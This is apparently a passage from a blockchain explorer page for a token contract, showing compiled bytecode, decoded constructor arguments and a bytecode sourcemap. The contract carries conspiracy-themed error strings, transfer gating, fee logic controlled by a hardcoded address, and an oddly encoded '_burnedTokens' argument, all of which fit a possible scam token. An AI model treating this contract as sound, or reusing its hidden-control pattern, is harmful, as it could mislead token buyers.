b80156122cb575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612330575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561232f57505f600a54145b5b61236f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236690613115565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156123ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e690613572565b60405180910390fd5b600b60019054906101000a900460ff16156127ef575f808390505f600a54118015612467575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156124ba5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156124ff576124e760646124d9600a5487612b9990919063ffffffff16565b612c1090919063ffffffff16565b91506124fc8285612c6790919063ffffffff16565b90505b61254f8460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506126018160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126e19190612f02565b60405180910390a35f8211156127e8576127418260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127df9190612f02565b60405180910390a35b50506129da565b61283f8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128f18260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129d19190612f02565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a64906132b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad2906135da565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612ba9575f9050612c0a565b5f8284612bb69190613625565b9050828482612bc59190613693565b14612c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfc9061370d565b60405180910390fd5b809150505b92915050565b5f808211612c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4a90613775565b60405180910390fd5b8183612c5f9190613693565b905092915050565b5f82821115612cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ca2906137dd565b60405180910390fd5b8183612cb791906137fb565b905092915050565b5f808284612ccd919061382e565b905083811015612d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d09906138ab565b60405180910390fd5b8091505092915050565b5f80fd5b5f819050919050565b612d3281612d20565b8114612d3c575f80fd5b50565b5f81359050612d4d81612d29565b92915050565b5f60208284031215612d6857612d67612d1c565b5b5f612d7584828501612d3f565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612db5578082015181840152602081019050612d9a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dda82612d7e565b612de48185612d88565b9350612df4818560208601612d98565b612dfd81612dc0565b840191505092915050565b5f6020820190508181035f830152612e208184612dd0565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e5182612e28565b9050919050565b612e6181612e47565b8114612e6b575f80fd5b50565b5f81359050612e7c81612e58565b92915050565b5f8060408385031215612e9857612e97612d1c565b5b5f612ea585828601612e6e565b9250506020612eb685828601612d3f565b9150509250929050565b5f8115159050919050565b612ed481612ec0565b82525050565b5f602082019050612eed5f830184612ecb565b92915050565b612efc81612d20565b82525050565b5f602082019050612f155f830184612ef3565b92915050565b5f805f60608486031215612f3257612f31612d1c565b5b5f612f3f86828701612e6e565b9350506020612f5086828701612e6e565b9250506040612f6186828701612d3f565b9150509250925092565b5f60ff82169050919050565b612f8081612f6b565b82525050565b5f602082019050612f995f830184612f77565b92915050565b5f60208284031215612fb457612fb3612d1c565b5b5f612fc184828501612e6e565b91505092915050565b612fd381612e47565b82525050565b5f602082019050612fec5f830184612fca565b92915050565b5f806040838503121561300857613007612d1c565b5b5f61301585828601612d3f565b925050602061302685828601612d3f565b9150509250929050565b5f806040838503121561304657613045612d1c565b5b5f61305385828601612e6e565b925050602061306485828601612e6e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130b257607f821691505b6020821081036130c5576130c461306e565b5b50919050565b7f434f4e53504952414359000000000000000000000000000000000000000000005f82015250565b5f6130ff600a83612d88565b915061310a826130cb565b602082019050919050565b5f6020820190508181035f83015261312c816130f3565b9050919050565b7f4c4554532046494e44204f5554000000000000000000000000000000000000005f82015250565b5f613167600d83612d88565b915061317282613133565b602082019050919050565b5f6020820190508181035f8301526131948161315b565b9050919050565b7f57495448205448495320434f4e545241435400000000000000000000000000005f82015250565b5f6131cf601283612d88565b91506131da8261319b565b602082019050919050565b5f6020820190508181035f8301526131fc816131c3565b9050919050565b7f784e455720574f524c44204f52444552780000000000000000000000000000005f82015250565b5f613237601183612d88565b915061324282613203565b602082019050919050565b5f6020820190508181035f8301526132648161322b565b9050919050565b7f4f522054525554480000000000000000000000000000000000000000000000005f82015250565b5f61329f600883612d88565b91506132aa8261326b565b602082019050919050565b5f6020820190508181035f8301526132cc81613293565b9050919050565b7f4c415354204348414e434520544f204741494e2046494e414e4349414c2046525f8201527f4545444f4d000000000000000000000000000000000000000000000000000000602082015250565b5f61332d602583612d88565b9150613338826132d3565b604082019050919050565b5f6020820190508181035f83015261335a81613321565b9050919050565b7f4e574f2049532054414b494e47204f5645522054484520434841494e000000005f82015250565b5f613395601c83612d88565b91506133a082613361565b602082019050919050565b5f6020820190508181035f8301526133c281613389565b9050919050565b7f4e574f58584e574f0000000000000000000000000000000000000000000000005f82015250565b5f6133fd600883612d88565b9150613408826133c9565b602082019050919050565b5f6020820190508181035f83015261342a816133f1565b9050919050565b7f4e45572078574f524c4420784f524445520000000000000000000000000000005f82015250565b5f613465601183612d88565b915061347082613431565b602082019050919050565b5f6020820190508181035f83015261349281613459565b9050919050565b7f784e455720574f524c443420784f5244455200000000000000000000000000005f82015250565b5f6134cd601283612d88565b91506134d882613499565b602082019050919050565b5f6020820190508181035f8301526134fa816134c1565b9050919050565b5f6040820190506135145f830185612ef3565b6135216020830184612ef3565b9392505050565b7f4e574f4f3132334e574f4f0000000000000000000000000000000000000000005f82015250565b5f61355c600b83612d88565b915061356782613528565b602082019050919050565b5f6020820190508181035f83015261358981613550565b9050919050565b7f784e4557782078574f524c447820784f524445527800000000000000000000005f82015250565b5f6135c4601583612d88565b91506135cf82613590565b602082019050919050565b5f6020820190508181035f8301526135f1816135b8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61362f82612d20565b915061363a83612d20565b925082820261364881612d20565b9150828204841483151761365f5761365e6135f8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61369d82612d20565b91506136a883612d20565b9250826136b8576136b7613666565b5b828204905092915050565b7f57574f524c4400000000000000000000000000000000000000000000000000005f82015250565b5f6136f7600683612d88565b9150613702826136c3565b602082019050919050565b5f6020820190508181035f830152613724816136eb565b9050919050565b7f4f4f5244455200000000000000000000000000000000000000000000000000005f82015250565b5f61375f600683612d88565b915061376a8261372b565b602082019050919050565b5f6020820190508181035f83015261378c81613753565b9050919050565b7f4e455720574f524c44204f5244455200000000000000000000000000000000005f82015250565b5f6137c7600f83612d88565b91506137d282613793565b602082019050919050565b5f6020820190508181035f8301526137f4816137bb565b9050919050565b5f61380582612d20565b915061381083612d20565b9250828203905081811115613828576138276135f8565b5b92915050565b5f61383882612d20565b915061384383612d20565b925082820190508082111561385b5761385a6135f8565b5b92915050565b7f4e455757000000000000000000000000000000000000000000000000000000005f82015250565b5f613895600483612d88565b91506138a082613861565b602082019050919050565b5f6020820190508181035f8301526138c281613889565b905091905056fea2646970667358221220c0b8aca67ca5a761b60be6a9f535716e96d3584a89b3acbf13e109578c29d89464736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000042b6158a2b904f7ab3585e39c82ab3030993d0ac000000000000000000000000af298d050e4395d69670b12b7f40ffffffffffff

-----Decoded View---------------
Arg [0] : _swapRouter (address): 0x42b6158A2b904F7AB3585E39c82aB3030993D0ac
Arg [1] : _burnedTokens (uint256): 999999999999999999999999999999999999999999999999

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 00000000000000000000000042b6158a2b904f7ab3585e39c82ab3030993d0ac
Arg [1] : 000000000000000000000000af298d050e4395d69670b12b7f40ffffffffffff


Deployed Bytecode Sourcemap

814:7218:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5901:98;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;879:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3127:229;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;967:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3366:1629;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1379:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1343:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1029;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1504:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1308:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1268:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1458:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1070:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5239:149;;;;;;;;;;;;;:::i;:::-;;1202:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;928:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1416:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6007:858;;;:::i;:::-;;2700:417;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5396:497;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1232:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1125:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6873:1156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5003:228;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5901:98;5972:10;5963:28;;;5984:6;5963:28;;;;;;:::i;:::-;;;;;;;;5901:98;:::o;879:38::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3127:229::-;3194:12;3256:6;3222:9;:21;3232:10;3222:21;;;;;;;;;;;;;;;:31;3244:8;3222:31;;;;;;;;;;;;;;;:40;;;;3303:8;3282:38;;3291:10;3282:38;;;3313:6;3282:38;;;;;;:::i;:::-;;;;;;;;3341:4;3334:11;;3127:229;;;;:::o;967:51::-;;;;:::o;3366:1629::-;3466:12;3450:5;2359:17;;;;;;;;;;;:40;;;;2380:11;:19;2392:6;2380:19;;;;;;;;;;;;;;;;;;;;;;;;;2359:40;:69;;;;2405:7;;;;;;;;;;;2404:8;:23;;;;;2416:11;;;;;;;;;;;2404:23;2359:69;:129;;;;2433:7;;;;;;;;;;;:30;;;;;2444:11;:19;2456:6;2444:19;;;;;;;;;;;;;;;;;;;;;;;;;2433:30;:54;;;;;2477:10;;;;;;;;;;;2467:20;;:6;:20;;;;2433:54;2359:129;:171;;;;2503:10;;;;;;;;;;;2493:20;;:6;:20;;;:36;;;;;2528:1;2517:7;;:12;2493:36;2359:171;2337:235;;;;;;;;;;;;:::i;:::-;;;;;;;;;3522:7:::1;3502:9;:16;3512:5;3502:16;;;;;;;;;;;;;;;;:27;;3494:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;3602:7;3570:9;:16;3580:5;3570:16;;;;;;;;;;;;;;;:28;3587:10;3570:28;;;;;;;;;;;;;;;;:39;;3562:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;3669:1;3654:17;;:3;:17;;::::0;3646:47:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3710:11;3740:22:::0;3765:7:::1;3740:32;;3791:11;;;;;;;;;;;:26;;;;;3816:1;3806:7;;:11;3791:26;:49;;;;;3830:10;;;;;;;;;;;3821:19;;:5;:19;;;;3791:49;:72;;;;;3845:11;:18;3857:5;3845:18;;;;;;;;;;;;;;;;;;;;;;;;;3844:19;3791:72;3787:198;;;3890:29;3915:3;3890:20;3902:7;;3890;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;3884:35;;3954:16;3966:3;3954:7;:11;;:16;;;;:::i;:::-;3937:33;;3787:198;4016:29;4037:7;4016:9;:16;4026:5;4016:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;3997:9;:16;4007:5;3997:16;;;;;;;;;;;;;;;:48;;;;4077:34;4096:14;4077:9;:14;4087:3;4077:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;4060:9;:14;4070:3;4060:14;;;;;;;;;;;;;;;:51;;;;4147:3;4131:36;;4140:5;4131:36;;;4152:14;4131:36;;;;;;:::i;:::-;;;;;;;;4194:1;4188:3;:7;4184:503;;;4212:23;4246:42;4212:77;;4319:15;4312:22;;:3;:22;;::::0;4308:368:::1;;4388:35;4419:3;4388:9;:26;4398:15;4388:26;;;;;;;;;;;;;;;;:30;;:35;;;;:::i;:::-;4359:9;:26;4369:15;4359:26;;;;;;;;;;;;;;;:64;;;;4467:15;4451:37;;4460:5;4451:37;;;4484:3;4451:37;;;;;;:::i;:::-;;;;;;;;4308:368;;;4560:33;4589:3;4560:9;:24;4578:4;4560:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;4533:9;:24;4551:4;4533:24;;;;;;;;;;;;;;;:60;;;;4645:4;4621:35;;4630:5;4621:35;;;4652:3;4621:35;;;;;;:::i;:::-;;;;;;;;4308:368;4197:490;4184:503;4712:10;4703:19;;:5;:19;;;;:72;;;;;4758:17;4726:9;:16;4736:5;4726:16;;;;;;;;;;;;;;;:28;4743:10;4726:28;;;;;;;;;;;;;;;;:49;;4703:72;4699:265;;;4827:41;4860:7;4827:9;:16;4837:5;4827:16;;;;;;;;;;;;;;;:28;4844:10;4827:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;4796:9;:16;4806:5;4796:16;;;;;;;;;;;;;;;:28;4813:10;4796:28;;;;;;;;;;;;;;;:72;;;;4908:10;4892:57;;4901:5;4892:57;;;4920:9;:16;4930:5;4920:16;;;;;;;;;;;;;;;:28;4937:10;4920:28;;;;;;;;;;;;;;;;4892:57;;;;;;:::i;:::-;;;;;;;;4699:265;4983:4;4976:11;;;;3366:1629:::0;;;;;;:::o;1379:27::-;;;;;;;;;;;;;:::o;1343:26::-;;;;:::o;1029:::-;;;;;;;;;;;;;:::o;1504:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;1308:25::-;;;;:::o;1268:27::-;;;;:::o;1458:36::-;;;;;;;;;;;;;:::o;1070:44::-;;;;;;;;;;;;;;;;;:::o;5239:149::-;2654:5;;;;;;;;;;;2640:19;;:10;:19;;;2632:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;5341:1:::1;5305:39;;5326:5;;;;;;;;;;;5305:39;;;;;;;;;;;;5375:1;5359:5;;:18;;;;;;;;;;;;;;;;;;5239:149::o:0;1202:20::-;;;;;;;;;;;;;:::o;928:28::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1416:31::-;;;;;;;;;;;;;:::o;6007:858::-;6047:10;2359:17;;;;;;;;;;;:40;;;;2380:11;:19;2392:6;2380:19;;;;;;;;;;;;;;;;;;;;;;;;;2359:40;:69;;;;2405:7;;;;;;;;;;;2404:8;:23;;;;;2416:11;;;;;;;;;;;2404:23;2359:69;:129;;;;2433:7;;;;;;;;;;;:30;;;;;2444:11;:19;2456:6;2444:19;;;;;;;;;;;;;;;;;;;;;;;;;2433:30;:54;;;;;2477:10;;;;;;;;;;;2467:20;;:6;:20;;;;2433:54;2359:129;:171;;;;2503:10;;;;;;;;;;;2493:20;;:6;:20;;;:36;;;;;2528:1;2517:7;;:12;2493:36;2359:171;2337:235;;;;;;;;;;;;:::i;:::-;;;;;;;;;6094:1:::1;6082:9;:13;6074:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;6154:14;6171:9;6154:26;;6207:1;6198:6;;:10;6194:664;;;6225:11;6239:27;6262:3;6239:18;6250:6;;6239;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;6225:41;;6285:22;6310:15;6321:3;6310:6;:10;;:15;;;;:::i;:::-;6285:40;;6369:41;6395:14;6369:9;:21;6379:10;;;;;;;;;;;6369:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;6345:9;:21;6355:10;;;;;;;;;;;6345:21;;;;;;;;;;;;;;;:65;;;;6458:10;;;;;;;;;;;6434:51;;6451:4;6434:51;;;6470:14;6434:51;;;;;;:::i;:::-;;;;;;;;6515:1;6509:3;:7;6505:181;;;6564:33;6593:3;6564:9;:24;6582:4;6564:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;6537:9;:24;6555:4;6537:24;;;;;;;;;;;;;;;:60;;;;6656:4;6624:43;;6641:4;6624:43;;;6663:3;6624:43;;;;;;:::i;:::-;;;;;;;;6505:181;6210:487;;6194:664;;;6742:33;6768:6;6742:9;:21;6752:10;;;;;;;;;;;6742:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;6718:9;:21;6728:10;;;;;;;;;;;6718:21;;;;;;;;;;;;;;;:57;;;;6823:10;;;;;;;;;;;6799:43;;6816:4;6799:43;;;6835:6;6799:43;;;;;;:::i;:::-;;;;;;;;6194:664;6059:806;6007:858:::0;:::o;2700:417::-;2786:12;2765:10;2359:17;;;;;;;;;;;:40;;;;2380:11;:19;2392:6;2380:19;;;;;;;;;;;;;;;;;;;;;;;;;2359:40;:69;;;;2405:7;;;;;;;;;;;2404:8;:23;;;;;2416:11;;;;;;;;;;;2404:23;2359:69;:129;;;;2433:7;;;;;;;;;;;:30;;;;;2444:11;:19;2456:6;2444:19;;;;;;;;;;;;;;;;;;;;;;;;;2433:30;:54;;;;;2477:10;;;;;;;;;;;2467:20;;:6;:20;;;;2433:54;2359:129;:171;;;;2503:10;;;;;;;;;;;2493:20;;:6;:20;;;:36;;;;;2528:1;2517:7;;:12;2493:36;2359:171;2337:235;;;;;;;;;;;;:::i;:::-;;;;;;;;;2848:7:::1;2823:9;:21;2833:10;2823:21;;;;;;;;;;;;;;;;:32;;2815:41;;;::::0;::::1;;2893:1;2878:17;;:3;:17;;::::0;2870:26:::1;;;::::0;::::1;;2937:34;2963:7;2937:9;:21;2947:10;2937:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;2913:9;:21;2923:10;2913:21;;;;;;;;;;;;;;;:58;;;;3002:27;3021:7;3002:9;:14;3012:3;3002:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;2985:9;:14;2995:3;2985:14;;;;;;;;;;;;;;;:44;;;;3069:3;3048:34;;3057:10;3048:34;;;3074:7;3048:34;;;;;;:::i;:::-;;;;;;;;3105:4;3098:11;;2700:417:::0;;;;;:::o;5396:497::-;5490:42;5476:56;;:10;:56;;;5468:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;5585:7;;;;;;;;;;;5584:8;5576:29;;;;;;;;;;;;:::i;:::-;;;;;;;;;5638:1;5624:10;:15;5616:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;5694:2;5680:10;:16;5672:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;5739:10;5730:6;:19;;;;5770:10;5760:7;:20;;;;5801:4;5791:7;;:14;;;;;;;;;;;;;;;;;;5830:4;5816:11;;:18;;;;;;;;;;;;;;;;;;5850:35;5862:10;5874;5850:35;;;;;;;:::i;:::-;;;;;;;;5396:497;;:::o;1232:25::-;;;;;;;;;;;;;:::o;1125:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6873:1156::-;6921:10;2359:17;;;;;;;;;;;:40;;;;2380:11;:19;2392:6;2380:19;;;;;;;;;;;;;;;;;;;;;;;;;2359:40;:69;;;;2405:7;;;;;;;;;;;2404:8;:23;;;;;2416:11;;;;;;;;;;;2404:23;2359:69;:129;;;;2433:7;;;;;;;;;;;:30;;;;;2444:11;:19;2456:6;2444:19;;;;;;;;;;;;;;;;;;;;;;;;;2433:30;:54;;;;;2477:10;;;;;;;;;;;2467:20;;:6;:20;;;;2433:54;2359:129;:171;;;;2503:10;;;;;;;;;;;2493:20;;:6;:20;;;:36;;;;;2528:1;2517:7;;:12;2493:36;2359:171;2337:235;;;;;;;;;;;;:::i;:::-;;;;;;;;;6980:7:::1;6955:9;:21;6965:10;6955:21;;;;;;;;;;;;;;;;:32;;6947:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;7024:11;;;;;;;;;;;7020:1002;;;7056:11;7089:22:::0;7114:7:::1;7089:32;;7156:1;7146:7;;:11;:39;;;;;7175:10;;;;;;;;;;;7161:24;;:10;:24;;;;7146:39;:67;;;;;7190:11;:23;7202:10;7190:23;;;;;;;;;;;;;;;;;;;;;;;;;7189:24;7146:67;7142:205;;;7243:29;7268:3;7243:20;7255:7;;7243;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;7237:35;;7312:16;7324:3;7312:7;:11;;:16;;;;:::i;:::-;7295:33;;7142:205;7387:34;7413:7;7387:9;:21;7397:10;7387:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;7363:9;:21;7373:10;7363:21;;;;;;;;;;;;;;;:58;;;;7463:41;7489:14;7463:9;:21;7473:10;;;;;;;;;;;7463:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;7439:9;:21;7449:10;;;;;;;;;;;7439:21;;;;;;;;;;;;;;;:65;;;;7549:10;;;;;;;;;;;7528:48;;7537:10;7528:48;;;7561:14;7528:48;;;;;;:::i;:::-;;;;;;;;7607:1;7601:3;:7;7597:179;;;7656:33;7685:3;7656:9;:24;7674:4;7656:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;7629:9;:24;7647:4;7629:24;;;;;;;;;;;;;;;:60;;;;7745:4;7716:40;;7725:10;7716:40;;;7752:3;7716:40;;;;;;:::i;:::-;;;;;;;;7597:179;7037:750;;7020:1002;;;7832:34;7858:7;7832:9;:21;7842:10;7832:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;7808:9;:21;7818:10;7808:21;;;;;;;;;;;;;;;:58;;;;7908:34;7934:7;7908:9;:21;7918:10;;;;;;;;;;;7908:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;7884:9;:21;7894:10;;;;;;;;;;;7884:21;;;;;;;;;;;;;;;:58;;;;7986:10;;;;;;;;;;;7965:41;;7974:10;7965:41;;;7998:7;7965:41;;;;;;:::i;:::-;;;;;;;;7020:1002;6873:1156:::0;;:::o;5003:228::-;2654:5;;;;;;;;;;;2640:19;;:10;:19;;;2632:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;5108:1:::1;5088:22;;:8;:22;;::::0;5080:56:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;5180:8;5152:37;;5173:5;;;;;;;;;;;5152:37;;;;;;;;;;;;5212:8;5204:5;;:16;;;;;;;;;;;;;;;;;;5003:228:::0;:::o;443:219::-;501:7;530:1;525;:6;521:47;;555:1;548:8;;;;521:47;578:9;594:1;590;:5;;;;:::i;:::-;578:17;;623:1;618;614;:5;;;;:::i;:::-;:10;606:29;;;;;;;;;;;;:::i;:::-;;;;;;;;;653:1;646:8;;;443:219;;;;;:::o;672:133::-;730:7;762:1;758;:5;750:24;;;;;;;;;;;;:::i;:::-;;;;;;;;;796:1;792;:5;;;;:::i;:::-;785:12;;672:133;;;;:::o;124:143::-;182:7;215:1;210;:6;;202:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;258:1;254;:5;;;;:::i;:::-;247:12;;124:143;;;;:::o;277:156::-;335:7;355:9;371:1;367;:5;;;;:::i;:::-;355:17;;396:1;391;:6;;383:23;;;;;;;;;;;;:::i;:::-;;;;;;;;;424:1;417:8;;;277:156;;;;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:99::-;1077:6;1111:5;1105:12;1095:22;;1025:99;;;:::o;1130:169::-;1214:11;1248:6;1243:3;1236:19;1288:4;1283:3;1279:14;1264:29;;1130:169;;;;:::o;1305:246::-;1386:1;1396:113;1410:6;1407:1;1404:13;1396:113;;;1495:1;1490:3;1486:11;1480:18;1476:1;1471:3;1467:11;1460:39;1432:2;1429:1;1425:10;1420:15;;1396:113;;;1543:1;1534:6;1529:3;1525:16;1518:27;1367:184;1305:246;;;:::o;1557:102::-;1598:6;1649:2;1645:7;1640:2;1633:5;1629:14;1625:28;1615:38;;1557:102;;;:::o;1665:377::-;1753:3;1781:39;1814:5;1781:39;:::i;:::-;1836:71;1900:6;1895:3;1836:71;:::i;:::-;1829:78;;1916:65;1974:6;1969:3;1962:4;1955:5;1951:16;1916:65;:::i;:::-;2006:29;2028:6;2006:29;:::i;:::-;2001:3;1997:39;1990:46;;1757:285;1665:377;;;;:::o;2048:313::-;2161:4;2199:2;2188:9;2184:18;2176:26;;2248:9;2242:4;2238:20;2234:1;2223:9;2219:17;22